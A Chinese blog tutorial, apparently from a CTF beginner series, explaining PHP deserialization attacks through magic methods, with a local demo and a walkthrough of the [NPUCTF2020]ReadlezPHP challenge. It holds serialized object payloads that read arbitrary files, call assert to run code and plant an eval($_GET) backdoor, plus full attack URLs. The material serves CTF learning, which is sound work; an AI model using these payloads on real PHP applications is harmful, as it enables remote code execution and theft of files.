当前位置: 首页 > news >正文

CTF-PHP反序列化漏洞2-利用魔法函数

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

目录

  • 1. 题目环境搭建
  • 2. 魔法函数的危险操作
    • 2.1 题目demo.php
    • 2.2 [NPUCTF2020]ReadlezPHP

1. 题目环境搭建

详见我的一篇文章phpstudy本地环境搭建图文教程
搭建成功后,在网站根目录新建含有原始代码的php文件,通过浏览器访问即可。

网站根目录中新建一个名为flag.php的文件,内容自定,可作为flag使用。

<?php
echo "flag{You_Gor_It_Great!}";
?>

在线运行php网站,推荐PHP 在线工具 | 菜鸟工具或者在线运行PHP

2. 魔法函数的危险操作

反序列化时会将序列化字符串重新还原为对象,在这个过程中会⾃动去调⽤类中的魔术⽅法,⽐如 __wakeup()__destruct() 等,如果这些魔术⽅法中存在⼀些危险操作,如读取⽂件、执⾏系统命令等。攻击 者可以通过构造对象中的变量值,在触发魔术⽅法时执⾏这些危险操作。

__destruct()   // 析构函数,在销毁对象时调用
__wakeup()    // 执行unserialize()时,先会调用这个函数

2.1 题目demo.php

  • 题目源码
<?php
// flag is in flag.php
class demo
{private $filename = 'demo.php';public function __wakeup(){// TODO: Implement __wakeup() method.$this->show($this->filename);}public function show($filename){show_source($filename);}
}
unserialize($_GET['s']);
$d = new demo();
$d->show("demo.php");
?>

打开题目
在这里插入图片描述

  • 解题思路
  1. 源码分析发现
    a. 存在魔法函数__wakeup
    b. 魔法函数中调用show函数,里面存在危险操作show_source显示源码
    c. 参数filename可控
    综上可尝试反序列化读取flag.php
  2. 构造反序列化
    调用链:__wakeup() => show

上⾯的代码是接收⼀个参数 s ,然后将其反序列化,反序列化后,会调⽤ __wakeup() ⽅法。如果⼀切正常的话, 这个⽅法会显示⼀下 demo.php ⽂件的源代码。但是参数 s 是可控的,也就是说对象 s 的属性是可控的。于是我们可以伪造⼀个 filename 来构造对象(flag.php)

使用PHP 在线工具 | 菜鸟工具生成payload
在这里插入图片描述

<?php
class demo{private $filename = 'flag.php';
}$a = new demo();
$b = serialize($a);
echo $b.'<br>';
echo urlencode($b);
?>// 结果如下
// O:4:"demo":1:{s:14:"demofilename";s:8:"flag.php";}
// O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最终攻击payload,浏览器url栏中输入如下内容
http://ip:port/filename/?s=O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
在这里插入图片描述

2.2 [NPUCTF2020]ReadlezPHP

题目链接:[NPUCTF2020]ReadlezPHP]ReadlezPHP

  • 题目
    正常的一个报时网页 此题可有两个flag
  • 解题思路
  1. 打开网站尝试路径扫描无果。尝试查看网页源码,发现可以链接
    在这里插入图片描述
  2. 点击后,URL中去掉view-source: 页面展示源码如下。
    在这里插入图片描述
  3. 分析源代码可知
    (1)存在魔法函数__destruct()
    (2)调用危险代码动态执行 b ( b( b(a)
    (3)$a $b参数可控
    综上选定PHP反序列化攻击
  4. 构造序列化脚本
<?phpclass HelloPhp
{public $a="ls /";public $b="system"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

攻击payload为
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D

  1. 但是没有响应,怀疑是过滤了部分函数。尝试使用别的函数,如assert
<?php
class HelloPhp
{public $a="phpinfo()";public $b="assert"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);?>// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函数disable_functions PHP中的system函数被禁用
在这里插入图片描述
搜索flag找到第一个flag
在这里插入图片描述

  1. 构造后门文件查看是否还有其他flag assert(eval($_GET[1234]))
<?phpclass HelloPhp
{public $a="eval(\$_GET[1234])";public $b="assert"; 
}$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>

攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

  1. 后门1234的命令被限制使用var_dump(scandir(“/”))代替 system(“ls /”) 找到第二个flag

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));

在这里插入图片描述

  1. 使用echo file_get_contents(“/FIag_!S_it”)代替system(cat /FIag_!S_it)

http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");

找到第二个flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}

以上仅是典型题目,下一篇文章将继续介绍php反序列化pop链的构造

相关文章:

CTF-PHP反序列化漏洞2-利用魔法函数

作者&#xff1a;Eason_LYC 悲观者预言失败&#xff0c;十言九中。 乐观者创造奇迹&#xff0c;一次即可。 一个人的价值&#xff0c;在于他所拥有的。可以不学无术&#xff0c;但不能一无所有&#xff01; 技术领域&#xff1a;WEB安全、网络攻防 关注WEB安全、网络攻防。我的…...

Doris(23):Doris的函数—字符串函数

1 append_trailing_char_if_absent(VARCHAR str, VARCHAR trailing_char) 如果s字符串非空并且末尾不包含c字符,则将c字符附加到末尾。 trailing_char只包含一个字符,如果包含多个字符,将返回NULL select append_trailing_char_if_absent(a,c);select append_trailing_cha…...

01-Shiro550漏洞流程

1. 漏洞原理 Apache Shiro框架提供了记住密码的功能&#xff08;RememberMe&#xff09;&#xff0c;用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值&#xff0c;先base64解码然后AES解密再反序列化&#xff0c;就导致了反序列化RCE漏洞。 那么…...

《程序员面试金典(第6版)》面试题 16.08. 整数的英语表示

题目描述 给定一个整数&#xff0c;打印该整数的英文描述。 示例 1: 输入: 123输出: “One Hundred Twenty Three” 示例 2: 输入: 12345输出: “Twelve Thousand Three Hundred Forty Five” 示例 3: 输入: 1234567输出: “One Million Two Hundred Thirty Four Thousand…...

ChatGPT技术原理 第四章:Transformer模型

目录 4.1 什么是Transformer 4.2 Transformer结构详解 4.3 Self-Attention机制 4.4 Multi-Head Attention机制 4.1 什么是Transformer...

基于redis和threadlocal实现登录状态校验和拦截

1.流程图 单机节点下的登录状态校验 分布式节点下的登录状态校验 2.代码实现 实现步骤分为如下几步 实现WebMvcConfigurer接口&#xff0c;添加拦截器定义拦截器&#xff0c;需要配置两个interceptor&#xff0c;第一个用于刷新token&#xff0c;写threadlocal&#xff…...

14-6-进程间通信-信号量

前面学习了pipe,fifo,共享内存&#xff0c;信号。 本章将讲述信号量。 一、什么是信号量/信号量集&#xff1f; 1.什么是信号量 信号量是一个计数器。信号量用于实现进程间的同步和互斥。而可以取多个正整数的信号量被称为通用信号量。 对信号量的使用场景的解读 房间&#…...

《中国教育报》投稿邮箱编辑部征稿

《中国教育报》国家教育部主管&#xff0c;中国教育报刊社主办的以教育新闻为主的全国性日报。是迄今为止中国最具权威和最有影响力的教育新闻媒体。中国教育报刊社是中华人民共和国教育部直属的新闻出版机构。2018年获得第三届全国“百强报纸”。2019年入选“新媒体影响力指数…...

Photoshop如何使用绘画和图像修饰之实例演示?

文章目录 0.引言1.给图像添加渐变色效果2.快速创建一副素描画3.清除图像中多余的景物4.快速融合两张图像5.调整图像光影6.人像面部瑕疵修除7.美化眼睛 0.引言 因科研等多场景需要进行绘图处理&#xff0c;笔者对PS进行了学习&#xff0c;本文通过《Photoshop2021入门教程》及其…...

【C++】布隆过滤器

文章目录 布隆过滤器提出布隆过滤器概念布隆过滤器应用场景设计思路:布隆过滤器的插入布隆过滤器的查找布隆过滤器删除BloomFilter.h布隆过滤器优点布隆过滤器缺陷 布隆过滤器提出 我们在使用新闻客户端看新闻时,它会给我们不停地推荐新的内容,它每次推荐时要去重,去掉那些已经…...

功能齐全的 ESP32 智能手表,具有多个表盘、心率传感器硬件设计

相关设计资料下载ESP32 智能手表带心率、指南针设计资料(包含Arduino源码+原理图+Gerber+3D文件).zip 介绍 我们调查了智能手表项目的不同方面,并学会了集成和测试每个单独的部分。在本文中,我们将使用所学知识,结合使用硬件和软件组件,从头开始创建我们自己的智能手表。在…...

微服务不是本地部署的最佳选择,不妨试试模块化单体

微服务仅适用于成熟产品 关于从头开始使用微服务&#xff0c;马丁・福勒&#xff08;Martin Fowler&#xff09;总结道&#xff1a; 1. 几乎所有成功的微服务都是从一个过于庞大而不得不拆分的单体应用开始的。 2. 几乎所有从头开始以微服务构建的系统&#xff0c;最后都会因…...

解读Toolformer

【引子】读论文Toolformer: Language Models Can Teach Themselves to Use Tools&#xff0c;https://arxiv.org/pdf/2302.04761.pdf&#xff0c;再阅读了几篇关于Toolformer的网络热文&#xff0c;于是“无知者无畏”&#xff0c;开始自不量力地试图解读Toolformer。 大语言模…...

FCOS3D Fully Convolutional One-Stage Monocular 3D Object Detection 论文学习

论文地址&#xff1a;Fully Convolutional One-Stage Monocular 3D Object Detection Github地址&#xff1a;Fully Convolutional One-Stage Monocular 3D Object Detection 1. 解决了什么问题&#xff1f; 单目 3D 目标检测由于成本很低&#xff0c;对于自动驾驶任务非常重…...

Xpath学习笔记

Xpath原理&#xff1a;先将HTML文档转为XML文档&#xff0c;再用xpath查找HTML节点或元素 什么是xml&#xff1f; 1、xml指可扩展标记语言 2、xml是一种标记原因&#xff0c;类似于html 3、xml的设计宗旨是传输数据&#xff0c;而非显示数据 4、xml标签需要我们自己自定义 5、x…...

网络编程之 Socket 套接字(使用数据报套接字和流套接字分别实现一个小程序(附源码))

文章目录 1. 什么是网络编程2. 网络编程中的基本概念1&#xff09;发送端和接收端2&#xff09;请求和响应3&#xff09;客户端和服务端4&#xff09;常见的客户端服务端模型 3. Socket 套接字1&#xff09;Socket 的分类2&#xff09;Java 数据报套接字通信模型3&#xff09;J…...

What Are Docker Image Layers?

Docker images consist of multiple layers that collectively provide the content you see in your containers. But what actually is a layer, and how does it differ from a complete image? In this article you’ll learn how to distinguish these two concepts and…...

范数详解-torch.linalg.norm计算实例

文章目录 二范数F范数核范数无穷范数L1范数L2范数 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 范数是一种数学概念&#xff0c;可以将向量或矩阵映射到非负实数上&#xff0c;通常被…...

postgresdb备份脚本

以下是一个简单的postgresdb备份脚本示例&#xff1a; 复制 #!/bin/bash # 设置备份目录和文件名 BACKUP_DIR/path/to/backup BACKUP_FILEdb_backup_$(date %F_%H-%M-%S).sql # 设置数据库连接参数 DB_HOSTlocalhost DB_PORT5432 DB_NAMEmydatabase DB_USERmyusername DB_PA…...

MATLAB程序员投简历的技巧解析,如何写出有亮点的简历

如果你想在简历中展示你的项目经验&#xff0c;一定要有亮点。一个导出的 Excel 文件过大导致浏览器卡顿的例子就是一个很好的亮点。你可以在简历中写明这个例子。如果面试官问起&#xff0c;可以用浏览器的原理来解释。浏览器内核可以简单地分为以下 5 个线程&#xff1a;GUI …...

颜色空间转换RGB-YCbCr

颜色空间 颜色空间&#xff08;Color Space&#xff09;是描述颜色的一种方式&#xff0c;它是一个由数学模型表示的三维空间&#xff0c;通常用于将数字表示的颜色转换成可见的颜色。颜色空间的不同取决于所选的坐标轴和原点&#xff0c;以及用于表示颜色的色彩模型。在计算机…...

年薪40万程序员辞职炒股,把一年工资亏光了,得了抑郁症,太惨了

年薪40万的程序员辞职全职炒股 把一年的工资亏光了 得了抑郁症 刚才在网上看了一篇文章 是一位北京的一位在互联网 大厂上班的程序员 在去年就是股市行情比较好的时候 他买了30多万股票 结果连续三个月都赚钱 然后呢 他是就把每天就996这种工作就辞掉了 然后在家全是炒股 感觉炒…...

10分钟如何轻松掌握JMeter使用方法?

目录 引言 安装jmeter HTTP信息头管理器 JMeter断言 HTTP请求默认值来代替所有的域名与端口 JSON提取器来替换变量 结语 引言 想要了解网站或应用程序的性能极限&#xff0c;JMeter是一个不可或缺的工具。但是&#xff0c;对于初学者来说&#xff0c;该如何上手使用JMe…...

[NLP]如何训练自己的大型语言模型

简介 大型语言模型&#xff0c;如OpenAI的GPT-4或Google的PaLM&#xff0c;已经席卷了人工智能领域。然而&#xff0c;大多数公司目前没有能力训练这些模型&#xff0c;并且完全依赖于只有少数几家大型科技公司提供技术支持。 在Replit&#xff0c;我们投入了大量资源来建立从…...

LeetCode1047. 删除字符串中的所有相邻重复项

1047. 删除字符串中的所有相邻重复项 给出由小写字母组成的字符串 S&#xff0c;重复项删除操作会选择两个相邻且相同的字母&#xff0c;并删除它们。 在 S 上反复执行重复项删除操作&#xff0c;直到无法继续删除。 在完成所有重复项删除操作后返回最终的字符串。答案保证唯一…...

3。数据结构(3)

嵌入式软件开发第三部分&#xff0c;各类常用的数据结构及扩展&#xff0c;良好的数据结构选择是保证程序稳定运行的关键&#xff0c;&#xff08;1&#xff09;部分包括数组&#xff0c;链表&#xff0c;栈&#xff0c;队列。&#xff08;2&#xff09;部分包括树&#xff0c;…...

QT停靠窗口QDockWidget类

QT停靠窗口QDockWidget类 QDockWidget类简介函数和方法讲解 QDockWidget类简介 QDockWidget 类提供了一个部件&#xff0c;它可以停靠在 QMainWindow 内或作为桌面上的顶级窗口浮动。 QDockWidget 提供了停靠窗口部件的概念&#xff0c;也称为工具面板或实用程序窗口。 停靠窗…...

【LeetCode】139. 单词拆分

139. 单词拆分&#xff08;中等&#xff09; 思路 首先将大问题分解成小问题&#xff1a; 前 i 个字符的子串&#xff0c;能否分解成单词&#xff1b;剩余子串&#xff0c;是否为单个单词&#xff1b; 动态规划的四个步骤&#xff1a; 确定 dp 数组以及下标的含义 dp[i] 表示 s…...

【三维重建】NeRF原理+代码讲解

文章目录 一、技术原理1.概览2.基于神经辐射场&#xff08;Neural Radiance Field&#xff09;的体素渲染算法3.体素渲染算法4.位置信息编码&#xff08;Positional encoding&#xff09;5.多层级体素采样 二、代码讲解1.数据读入2.创建nerf1.计算焦距focal与其他设置2.get_emb…...

IntelliJ IDEA 社区版2021.3配置SpringBoot项目详细教程及错误解决方法

目录 一、SpringBoot的定义 二、Spring Boot 优点 三、创建一个springboot的项目 四、使用IDEA创建SpringBoot失败案例 一、SpringBoot的定义 Spring 的诞⽣是为了简化 Java 程序的开发的&#xff0c;⽽ Spring Boot 的诞⽣是为了简化 Spring 程序开发的。 Spring Boot 翻…...

做电影网站看电影算网站流量吗/国内最新的新闻

shell介绍shell是系统跟计算机硬件交互时使用的中间介质&#xff0c;它只是系统的一个工具。在计算机硬件之间还有一层东西——系统内核。如果把计算机硬件比作一个人的躯体&#xff0c;那系统内核就是人的大脑。至于shell&#xff0c;把它比作人的五官似乎更贴切些。言归正传&…...

专业的营销网站建设公司/全球搜索引擎入口

转&#xff1a;https://blog.51cto.com/xiaoli110/1080426 rem windows 防火墙匹配原则 rem 1 优先匹配安全连接规则 rem 2 匹配阻止的规则 rem 3 匹配允许的规则 rem 4 按照默认策略匹配&#xff0c;一般是阻止&#xff0c;除非做了修改 rem 所有如果有端口有些ip允许&#x…...

网站建设答辩ppt模板/推广网站源码

一. 安装配置Ant:下载地址为http://jakarta.apache.org,假设解压Ant的目录为<ANT-HOME>,接下来需在操作系统中设置如下环境变量: 1. ANT_HOME:ant的安装目录; 2. JAVA_HOME:JDK的安装目录; 3. PATH:把%ANT_HOME%/bin目录添加到PATH变量中,以便从命令行下直接运行ant; …...

网站设计制作的四大优势/网站关键词搜索排名优化

Redis和StrictRedis Redis库提供了两个类Redis和StrictRedis用于实现Redis的命令操作。 StrictRedis实现了绝大部分官方文档的命令&#xff0c;参数也一一对应&#xff0c;比如set方法就对应Redis命令的set方法。而Redis是StrictRedis的子类&#xff0c;它的功能主要是用于向后…...

q王商城 网站是怎么做的/网络营销策划模板

一&#xff1a;共享账号检查 配置名称&#xff1a;用户账号分配检查&#xff0c;避免共享账号存在 配置要求&#xff1a;1、系统需按照实际用户分配账号&#xff1b; 2、避免不同用户间共享账号&#xff0c;避免用户账号和服务器间通信使用的账号共享。 操作指南&…...

宁波东钱湖建设局网站/界首网站优化公司

一、问题有个打印log的函数&#xff0c;想知道该函数执行的时候&#xff0c;之前执行了哪些函数?二、分析在应用程序打印函数栈需要通过函数backtrace()&#xff0c;该函数对应头文件如下&#xff1a;#include 1、三个与打印调用栈相关的函数打印函数栈需要使用到以下3个函数i…...